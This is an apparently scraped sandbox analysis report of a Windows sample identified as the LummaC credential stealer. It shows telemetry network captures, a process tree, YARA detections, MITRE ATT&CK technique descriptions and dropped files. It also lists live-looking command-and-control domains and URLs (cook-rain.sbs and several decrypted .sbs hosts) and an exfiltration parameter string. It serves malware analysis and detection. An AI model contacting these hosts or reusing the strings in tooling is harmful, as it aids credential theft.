EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.8	49947	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:52 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:52 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 873207a6-301e-001f-2d8c-3aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122852Z-r1d97b995777mdbwhC1TEBezag00000008r000000000eaxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:52 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.8	49949	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:52 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:52 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e2992adc-501e-005b-288c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122852Z-185f5d8b95c96jn4hC1NYCbgp80000000a8g000000007vm5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:52 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.8	49948	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:52 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:52 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a615b14a-d01e-008e-6e8c-3a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122852Z-1777c6cb7544nvmshC1TEBf7qc000000099g00000000gxvv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:52 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Target ID:	0
Start time:	07:27:12
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xfa0000
File size:	1'907'712 bytes
MD5 hash:	FC844F11EAE3337614E9B7BC196E7066
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1561723800.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1558164369.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1526544111.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1540497373.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:27:41
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	07:27:42
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1908,i,16866088290354366866,11762703884386129565,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:27:45
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:27:46
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1976,i,15534154704042037435,5378647065527263683,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://cook-rain.sbs/api0Z	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apigLX/	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apigsBX1	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/&	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/KxT	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/y	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs//	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/T	Avira URL Cloud: Label: malware

Source: 00000000.00000002.1802934202.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000000.00000002.1802934202.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000000.00000002.1802934202.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: peepburry828.sbs
Source: 00000000.00000002.1802934202.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p10tgrace.sbs
Source: 00000000.00000002.1802934202.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: processhol.sbs
Source: 00000000.00000002.1802934202.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1802934202.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1802934202.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1802934202.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1802934202.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Windows Analysis Report
file.exe